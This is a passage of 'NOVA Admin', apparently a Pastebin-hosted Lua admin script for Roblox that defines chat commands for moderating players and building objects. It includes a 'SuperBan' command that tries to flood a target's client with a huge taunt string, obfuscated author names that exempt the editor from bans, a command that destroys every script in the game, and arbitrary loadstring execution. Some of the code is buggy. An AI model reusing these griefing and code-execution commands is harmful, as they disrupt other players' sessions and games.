  4558.                                         Clone.Parent = workspace.CurrentCamera
  4559.                                     end
  4560.                                 end
  4561.                             end))
  4562.                         end]],
  4563.                     v.Backpack)
  4564.                 end)
  4565.             end
  4566.         end
  4567.     end
  4568. )
  4569.  
  4570.  
  4571.  
  4572. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",    
  4573.     function(Msg,Speaker)
  4574.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4575.             pcall(function()
  4576.                 v.Character.Humanoid.PlatformStand = true
  4577.             end)
  4578.         end
  4579.     end
  4580. )
  4581.  
  4582. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",    
  4583.     function(Msg,Speaker)
  4584.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4585.             pcall(function()
  4586.                 v.Character.Humanoid.PlatformStand = false
  4587.             end)
  4588.         end
  4589.     end
  4590. )
  4591.  
  4592. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  4593.     function(Msg,Speaker)
  4594.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4595.             pcall(function()
  4596.                 for _,Tool in pairs(v.Backpack:GetChildren()) do
  4597.                     Tool:Clone().Parent = Speaker.Backpack
  4598.                 end
  4599.             end)
  4600.         end
  4601.     end
  4602. )
  4603. AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>",
  4604.     function(Msg,Speaker)
  4605.             for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4606.             if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  4607.                 Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4608.             else
  4609.                 pcall(function()
  4610.    
  4611.                     GetRankedTable(v).Rank = -1
  4612.                     SyncRankOutSingular(v)
  4613.             Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000)
  4614.                 end)
  4615.             end
  4616.         end
  4617.     end
  4618. )
  4619.  
  4620. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  4621.     function(Msg,Speaker)
  4622.         local Give = {}
  4623.         for _,v in pairs(NOVA.Services.Lighting:children()) do
  4624.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4625.                 function()
  4626.                     table.insert(Give,v:Clone())
  4627.                 end
  4628.             )
  4629.         end
  4630.         Output("Done",NOVA.Colors.Green,Speaker,nil,
  4631.             function()
  4632.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4633.                     for _,Tool in pairs(Give) do
  4634.                         Tool:Clone().Parent = v.Backpack
  4635.                     end
  4636.                 end
  4637.                 RemoveTablets(Speaker)
  4638.             end
  4639.         )
  4640.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4641.     end
  4642. )
  4643.  
  4644. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  4645.     function(Msg,Speaker)
  4646.         pcall(function()
  4647.             for _,Tool in pairs(Speaker.Backpack:children()) do
  4648.                 Tool:Clone().Parent = NOVA.Services.Lighting
  4649.             end
  4650.         end)
  4651.     end
  4652. )
  4653.  
  4654. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  4655.     function(Msg,Speaker)
  4656.         Split = GetSplit(Msg)
  4657.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4658.             if v:FindFirstChild("PlayerGui") ~= nil then
  4659.                 makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
  4660.             end
  4661.         end
  4662.     end
  4663. )
  4664.  
  4665. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  4666.     function(Msg,Speaker)
  4667.         local Data = GetRankedTable(Speaker)
  4668.         Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
  4669.         Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  4670.         Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  4671.             function()
  4672.                 RemoveTablets(Speaker)
  4673.                 OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
  4674.             end
  4675.         )
  4676.         Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
  4677.         Output("How to use commands.",Data.Color,Speaker,nil,
  4678.             function()
  4679.                 RemoveTablets(Speaker)
  4680.                 Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker)
  4681.                 Output("Please note it is a slash ( located below/around the 'Return'/'Enter'  key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker)
  4682.                 Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
  4683.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
  4684.             end
  4685.         )
  4686.         Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  4687.         Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker)
  4688.  end
  4689. )
  4690.  
  4691. AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments",
  4692.     function(Msg,Speaker)
  4693.         for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4694.             if v:IsA("Script") then
  4695.                 v.Disabled = true
  4696.                 v.Parent = NOVA.Services.Debris
  4697.                 v.Disabled = true
  4698.                 v:Destroy()
  4699.                 v.Parent = NOVA.Services.Debris
  4700.                 v.Disabled = true
  4701.                 v:Destroy()
  4702.             end
  4703.         end
  4704.     end
  4705. )
  4706.  
  4707. AddCommand("Execute","exe",6,"Loads the following string.","<Source>",
  4708.     function(Msg,Speaker)
  4709.         if Msg == nil or #Msg == 0 then
  4710.             RemoveTablets(Speaker)
  4711.             local Data = GetRankedTable(Speaker)
  4712.             for _,v in pairs(Data.Executeables:children()) do
  4713.                 Output(v.Name,Data.Color,Speaker,nil,
  4714.                     function()
  4715.                         local a,b=coroutine.resume(coroutine.create(function() loadstring([[
  4716.                             --[=[NOVA Internal Executeable Script ]=]--
  4717.                             Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[")
  4718.                         ]] .. v.Value .. [[]])() end))
  4719.                         if not a then
  4720.                             Output(b,NOVA.Colors.Red,Speaker,15)
  4721.                         else
  4722.                             Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  4723.                         end
  4724.                     end
  4725.                 )
  4726.             end
  4727.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  4728.         else
  4729.             Source = Msg
  4730.             --Source = string.gsub(Source,"print(","PrintS(")
  4731.             --Source = string.gsub(Source,"print'","PrintS'")
  4732.             local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end))
  4733.             if not a then
  4734.                 Output(b,NOVA.Colors.Red,Speaker,15)
  4735.             else
  4736.                 Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5)
  4737.             end
  4738.         end
  4739.     end
  4740. )
  4741.  
  4742. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  4743.     function(Msg,Speaker)
  4744.         pcall(function()
  4745.             CreateLocalScript([[
  4746.                 game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  4747.                 ]],
  4748.                 Speaker.Backpack)
  4749.            
  4750.         end)
  4751.     end
  4752. )
  4753.  
  4754. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  4755.     function(Msg,Speaker)
  4756.         pcall(function()
  4757.             NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  4758.         end)
  4759.     end
  4760. )
  4761. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  4762.     function(Msg,Speaker)
  4763.         pcall(function()
  4764.             NOVA.Sounds.Sound.Looped = Msg
  4765.         end)
  4766.     end
  4767. )
  4768. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  4769.     function(Msg,Speaker)
  4770.         Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
  4771.     end
  4772. )
  4773. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  4774.     function(Msg,Speaker)
  4775.         local Give = {}
  4776.         for _,v in pairs(NOVA.Plugins) do
  4777.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4778.                 function()
  4779.                     table.insert(Give,v:Clone())
  4780.                 end
  4781.             )
  4782.         end
  4783.         Output("Done",NOVA.Colors.Green,Speaker,nil,
  4784.             function()
  4785.                 for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4786.                     for _,Tool in pairs(Give) do
  4787.                         New = Tool:Clone()
  4788.                         New.Parent = v.Backpack
  4789.                         pcall(function()
  4790.                             New.Disabled = false
  4791.                         end)
  4792.                     end
  4793.                 end
  4794.                 RemoveTablets(Speaker)
  4795.             end
  4796.         )
  4797.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4798.     end
  4799. )
  4800. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  4801.     function(Msg,Speaker)
  4802.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4803.             pcall(function()
  4804.                 for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4805.                     part.Locked = true
  4806.                 end
  4807.             end)
  4808.         end
  4809.     end
  4810. )
  4811. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  4812.     function(Msg,Speaker)
  4813.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4814.             pcall(function()
  4815.                 for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4816.                     part.Locked = false
  4817.                 end
  4818.             end)
  4819.         end
  4820.     end
  4821. )
  4822. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  4823.     function(Msg,Speaker)
  4824.         Split = GetSplit(Msg)
  4825.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4826.             pcall(function()
  4827.                 CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  4828.             end)
  4829.         end
  4830.     end
  4831. )
  4832. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  4833.     function(Msg,Speaker)
  4834.         NOVA.Services.Lighting.Brightness = tonumber(Msg)
  4835.     end
  4836. )
  4837. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  4838.     function(Msg,Speaker)
  4839.         pcall(function()
  4840.             Rtn = CFrame.new(
  4841.                 Speaker.Character.Torso.CFrame.x,
  4842.                 Speaker.Character.Torso.CFrame.y,
  4843.                 Speaker.Character.Torso.CFrame.z
  4844.             )
  4845.             table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  4846.         end)
  4847.     end
  4848. )
  4849. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  4850.     function(Msg,Speaker)
  4851.         for _,v in pairs(NOVA.Waypoints) do
  4852.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4853.                 pcall(function()
  4854.                     RemoveTablets(Speaker)
  4855.                     Speaker.Character.Torso.CFrame = v.CFrame
  4856.                 end)
  4857.             end)
  4858.         end
  4859.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4860.     end
  4861. )
  4862. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  4863.     function(Msg,Speaker)
  4864.         Rtn = {}
  4865.         for num,v in pairs(NOVA.Waypoints) do
  4866.             Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4867.                 table.insert(Rtn,num)
  4868.             end)
  4869.         end
  4870.         Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  4871.             RemoveTablets(Speaker)
  4872.             for _,v in pairs(Rtn) do
  4873.                 table.remove(NOVA.Waypoints,v)
  4874.             end
  4875.         end)
  4876.         Output("Dismiss",NOVA.Colors.Red,Speaker)
  4877.     end
  4878. )
  4879. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  4880.     function(Msg,Speaker)
  4881.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4882.             pcall(function()
  4883.                 for i=0,3 do
  4884.                     Instance.new("HopperBin",v.Backpack).BinType = i
  4885.                 end
  4886.             end)
  4887.         end
  4888.     end
  4889. )
  4890. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4891.     function(Msg,Speaker)
  4892.         local MainColor = Color3.new(0,0,0)
  4893.         local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  4894.         local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4895.         local MainCFrame = Speaker.Character.Torso.CFrame
  4896.             * CFrame.new(0,-4,0)
  4897.             + Speaker.Character.Torso.CFrame.lookVector*3
  4898.         local SeccondaryCFrame = Speaker.Character.Torso.CFrame
  4899.             * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  4900.             + Speaker.Character.Torso.CFrame.lookVector*3
  4901.         if CFrame == nil then return end    
  4902.         coroutine.resume(coroutine.create(function()
  4903.        
  4904.             for i=1,25 do
  4905.                 wait()
  4906.                 local Step = Instance.new("Part",Main)
  4907.                 Step.FormFactor = "Custom"
  4908.                 Step.Name = "Step"
  4909.                 Step.Anchored = true
  4910.                 Step.Locked = true
  4911.                 Step.Reflectance = 0
  4912.                 Step.TopSurface = "Smooth"
  4913.                 Step.BottomSurface = "Smooth"
  4914.                 Step.BrickColor = BrickColor.new(SeccondaryColor)
  4915.                 Step.Size = Vector3.new(6,1,3)
  4916.                 Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  4917.                 Instance.new("BlockMesh",Step)
  4918.                
  4919.                 local Carpet = Instance.new("Part",Main)
  4920.                 Carpet.FormFactor = "Custom"
  4921.                 Carpet.Name = "Carpet"
  4922.                 Carpet.Anchored = true
  4923.                 Carpet.Locked = true
  4924.                 Carpet.Reflectance = 0
  4925.                 Carpet.TopSurface = "Smooth"
  4926.                 Carpet.BottomSurface = "Smooth"
  4927.                 Carpet.BrickColor = BrickColor.new(MainColor)
  4928.                 Carpet.Size = Vector3.new(4,1,3.2)
  4929.                 Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  4930.                 Instance.new("BlockMesh",Carpet)  
  4931.             end    
  4932.             local MainCirc = Instance.new("Part",Main)
  4933.             MainCirc.FormFactor = "Custom"
  4934.             MainCirc.Name = "MainCirc"
  4935.             MainCirc.Anchored = true
  4936.             MainCirc.Locked = true
  4937.             MainCirc.Reflectance = 0
  4938.             MainCirc.TopSurface = "Smooth"
  4939.             MainCirc.BottomSurface = "Smooth"
  4940.             MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  4941.             MainCirc.Size = Vector3.new(20,1,20)
  4942.             MainCirc.CFrame = SeccondaryCFrame
  4943.             Instance.new("CylinderMesh",MainCirc)
  4944.            
  4945.             local SeccondaryCirc = Instance.new("Part",Main)
  4946.             SeccondaryCirc.FormFactor = "Custom"
  4947.             SeccondaryCirc.Name = "SeccondaryCirc"
  4948.             SeccondaryCirc.Anchored = true
  4949.             SeccondaryCirc.Locked = true
  4950.             SeccondaryCirc.Reflectance = 0
  4951.             SeccondaryCirc.TopSurface = "Smooth"
  4952.             SeccondaryCirc.BottomSurface = "Smooth"
  4953.             SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  4954.             SeccondaryCirc.Size = Vector3.new(18,1,18)
  4955.             SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  4956.             Instance.new("CylinderMesh",SeccondaryCirc)
  4957.             for i=1,math.floor(360/6) do
  4958.                 local Spike = Instance.new("Part",Main)
  4959.                 Spike.FormFactor = "Custom"
  4960.                 Spike.Name = "Spike"
  4961.                 Spike.Anchored = true
  4962.                 Spike.Locked = true
  4963.                 Spike.Reflectance = 0
  4964.                 Spike.TopSurface = "Smooth"
  4965.                 Spike.BottomSurface = "Smooth"
  4966.                 Spike.BrickColor = BrickColor.new(MainColor)
  4967.                 Spike.Size = Vector3.new(1,7,1)
  4968.                 Spike.CFrame = SeccondaryCFrame
  4969.                     * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  4970.                     * CFrame.new(7,-7,0)
  4971.                 Torch = Instance.new("Part",Main)
  4972.                 Torch.Reflectance = 1e+999
  4973.                 Torch.FormFactor = "Custom"
  4974.                 Torch.Shape = "Ball"
  4975.                 Torch.Anchored = true
  4976.                 Torch.Locked = true
  4977.                 Torch.Size = Vector3.new(2,2,2)
  4978.                 Torch.CFrame = Spike.CFrame
  4979.                     * CFrame.new(0,3.5,0)
  4980.                     * CFrame.Angles(0,0,0)
  4981.                 Instance.new("Fire",Torch)
  4982.             end
  4983.         end))
  4984.     end
  4985. )
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top